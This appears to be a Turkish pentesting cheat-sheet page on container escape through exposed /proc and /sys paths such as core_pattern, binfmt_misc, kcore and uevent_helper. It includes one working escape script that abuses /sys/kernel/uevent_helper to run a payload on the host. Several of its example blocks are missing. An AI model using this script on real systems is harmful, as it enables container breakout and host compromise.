Sensitive Mounts
Doğru namespace izolasyonu olmadan /proc
ve /sys
'in maruz kalması, saldırı yüzeyinin genişlemesi ve bilgi sızdırma gibi ciddi güvenlik risklerini beraberinde getirir. Bu dizinler, yanlış yapılandırılmış veya yetkisiz bir kullanıcı tarafından erişilen hassas dosyaları içerir ve bu da konteyner kaçışına, ana bilgisayarın değiştirilmesine veya daha fazla saldırıya yardımcı olacak bilgilerin sağlanmasına yol açabilir. Örneğin, -v /proc:/host/proc
şeklinde yanlış bağlama yapılması, yol tabanlı doğası nedeniyle AppArmor korumasını atlayabilir ve /host/proc
'u korumasız bırakabilir.
Her potansiyel zafiyetin daha fazla ayrıntısını https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts** adresinde bulabilirsiniz.**
procfs Zafiyetleri
/proc/sys
/proc/sys
Bu dizin, genellikle sysctl(2)
aracılığıyla çekirdek değişkenlerini değiştirme izni verir ve endişe kaynağı olan birkaç alt dizini içerir:
/proc/sys/kernel/core_pattern
/proc/sys/kernel/core_pattern
core(5) adresinde açıklanmıştır.
Çekirdek dosyası oluşturulduğunda ilk 128 baytı argüman olarak alan bir programın tanımlanmasına izin verir. Dosya bir pipe
|
ile başlıyorsa kod yürütme olasılığı vardır.Test ve Sömürü Örneği:
/proc/sys/kernel/modprobe
/proc/sys/kernel/modprobe
proc(5) adresinde detaylı olarak açıklanmıştır.
Çekirdek modül yükleyicisinin yolunu içerir, çekirdek modüllerini yüklemek için çağrılır.
Erişimi Kontrol Etme Örneği:
/proc/sys/vm/panic_on_oom
/proc/sys/vm/panic_on_oom
proc(5) adresinde referans olarak verilmiştir.
Bir OOM durumu meydana geldiğinde çekirdeğin çökmesini veya OOM öldürücüyü çağırmasını kontrol eden global bir bayrak.
/proc/sys/fs
/proc/sys/fs
proc(5) adresinde belirtildiği gibi, dosya sistemi hakkında seçenekler ve bilgiler içerir.
Yazma erişimi, ana bilgisayara karşı çeşitli hizmet reddi saldırılarına olanak tanır.
/proc/sys/fs/binfmt_misc
/proc/sys/fs/binfmt_misc
Sihirli sayılarına dayalı olmayan ikili biçimler için yorumlayıcıları kaydetmeye olanak tanır.
/proc/sys/fs/binfmt_misc/register
yazılabilirse ayrıcalık yükseltmesine veya kök kabuk erişimine yol açabilir.İlgili sömürü ve açıklama:
Detaylı öğretici: Video bağlantısı
Diğerleri /proc
içinde
/proc
içinde/proc/config.gz
/proc/config.gz
CONFIG_IKCONFIG_PROC
etkinse çekirdek yapılandırmasını ortaya çıkarabilir.Çalışan çekirdekteki zafiyetleri belirlemek için saldırganlar için faydalıdır.
/proc/sysrq-trigger
/proc/sysrq-trigger
Sysrq komutlarını çağırmaya izin verir, potansiyel olarak anında sistem yeniden başlatmalar veya diğer kritik işlemlere neden olabilir.
Ana Bilgisayarı Yeniden Başlatma Örneği:
/proc/kmsg
/proc/kmsg
Çekirdek halka tamponu mesajlarını açığa çıkarır.
Çekirdek saldırılarına, adres sızıntılarına ve hassas sistem bilgilerinin sağlanmasına yardımcı olabilir.
/proc/kallsyms
/proc/kallsyms
Çekirdek dışa aktarılan sembolleri ve adreslerini listeler.
Özellikle KASLR'yi aşmak için çekirdek saldırı geliştirme için temel öneme sahiptir.
Adres bilgileri
kptr_restrict
'in1
veya2
olarak ayarlanmasıyla sınırlıdır.Detaylar proc(5) adresinde bulunabilir.
/proc/[pid]/mem
/proc/[pid]/mem
Çekirdek bellek cihazı
/dev/mem
ile etkileşim sağlar.Tarihsel olarak ayrıcalık yükseltme saldırılarına karşı savunmasızdır.
Daha fazla bilgi için proc(5) adresine bakabilirsiniz.
/proc/kcore
/proc/kcore
Sistemin fiziksel belleğini ELF çekirdek biçiminde temsil eder.
Okuma, ana bilgisayar sistemi ve diğer konteynerlerin bellek içeriğini sızdırabilir.
Büyük dosya boyutu okuma sorunlarına veya yazılım çökmelerine yol açabilir.
Ayrıntılı kullanım 2019'da /proc/kcore Dökme adresinde bulunabilir.
/proc/kmem
/proc/kmem
/dev/kmem
için alternatif arayüz, çekirdek sanal belleğini temsil eder.Okuma ve yazma izni verir, dolayısıyla çekirdek belleğinin doğrudan değiştirilmesine olanak tanır.
/proc/mem
/proc/mem
/dev/mem
için alternatif arayüz, fiziksel belleği temsil eder.Okuma ve yazma izni verir, tüm belleğin değiştirilmesi sanal adreslerin fiziksel adreslere çözülmesini gerektirir.
/proc/sched_debug
/proc/sched_debug
PID ad alanı korumalarını atlayarak işlem zamanlama bilgilerini döndürür.
İşlem adlarını, kimlikleri ve cgroup kimliklerini açığa çıkarır.
/proc/[pid]/mountinfo
/proc/[pid]/mountinfo
İşlem bağlantı noktaları hakkında bilgi sağlar.
Konteyner
rootfs
veya görüntünün konumunu açığa çıkarır.
/sys
Zafiyetleri
/sys
Zafiyetleri/sys/kernel/uevent_helper
/sys/kernel/uevent_helper
Çekirdek cihaz
uevent
'lerini işlemek için kullanılır./sys/kernel/uevent_helper
'a yazmak,uevent
tetikleyicileri üzerine keyfi komut dosyalarını yürütebilir.Sömürü Örneği için: %%%bash
Bir yük oluşturur
echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper
Konteyner için OverlayFS bağlantı noktasından ana bilgisayar yolunu bulur
host_path=$(sed -n 's/.\perdir=([^,]).*/\1/p' /etc/mtab)
uevent_helper'ı kötü amaçlı yardımcıya ayarlar
echo "$host_path/evil-helper" > /sys/kernel/uevent_helper
Bir uevent tetikler
echo change > /sys/class/mem/null/uevent
Çıktıyı okur
cat /output %%%
/sys/class/thermal
/sys/class/thermal
Sıcaklık ayarlarını kontrol eder, olası DoS saldırılarına veya fiziksel hasara neden olabilir.
/sys/kernel/vmcoreinfo
/sys/kernel/vmcoreinfo
Kernel adreslerini sızdırır, KASLR'ı tehlikeye atabilir.
/sys/kernel/security
/sys/kernel/security
securityfs
arayüzünü barındırır, AppArmor gibi Linux Güvenlik Modülleri'nin yapılandırılmasına izin verir.Erişim, bir konteynerin MAC sistemini devre dışı bırakmasına olanak tanıyabilir.
/sys/firmware/efi/vars
ve /sys/firmware/efi/efivars
/sys/firmware/efi/vars
ve /sys/firmware/efi/efivars
NVRAM'daki EFI değişkenleriyle etkileşim için arayüzler sunar.
Yanlış yapılandırma veya istismar, tuğla gibi dizüstü bilgisayarlar veya başlatılamayan ana bilgisayar makinelerine yol açabilir.
/sys/kernel/debug
/sys/kernel/debug
debugfs
, çekirdeğe "kurallar olmadan" hata ayıklama arayüzü sunar.Sınırsız doğası nedeniyle güvenlik sorunları geçmişi bulunmaktadır.
Referanslar
Last updated